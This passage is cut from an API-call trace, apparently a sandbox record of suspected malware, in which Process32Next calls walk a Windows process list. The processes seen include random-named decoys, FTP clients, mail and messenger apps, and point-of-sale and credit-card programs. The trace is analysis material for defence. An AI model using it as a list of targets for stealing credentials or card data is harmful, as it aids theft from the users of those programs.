szExeFile="svchost.exe")) returned 1 [0131.695] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.698] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.700] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.733] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0131.735] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.738] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.740] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0131.743] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0131.745] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0131.747] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0131.749] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0131.752] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0131.754] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0131.756] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.759] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.762] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0131.764] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0131.766] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.769] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.771] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.773] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.776] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0131.778] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.784] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0131.787] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0131.789] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0131.792] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0131.794] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0131.797] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0131.799] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0131.801] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0131.803] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0131.806] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0131.808] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0131.811] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0131.813] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0131.815] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0131.817] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0131.820] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0131.822] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0131.824] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0131.828] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0131.831] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0131.834] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0131.837] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0131.840] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0131.873] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0131.877] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0131.880] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0131.883] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0131.885] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0131.888] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0131.891] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0131.893] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0131.896] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0131.899] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0131.901] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0131.904] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0131.907] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0131.909] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0131.911] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0131.914] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0131.916] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0131.919] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0131.921] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0131.923] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0131.926] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0131.928] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0131.931] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0131.933] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0131.937] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0131.939] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0131.942] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0131.945] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0131.948] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0131.950] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0131.952] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0131.954] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0131.956] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0131.959] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0131.961] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0131.963] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0131.965] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 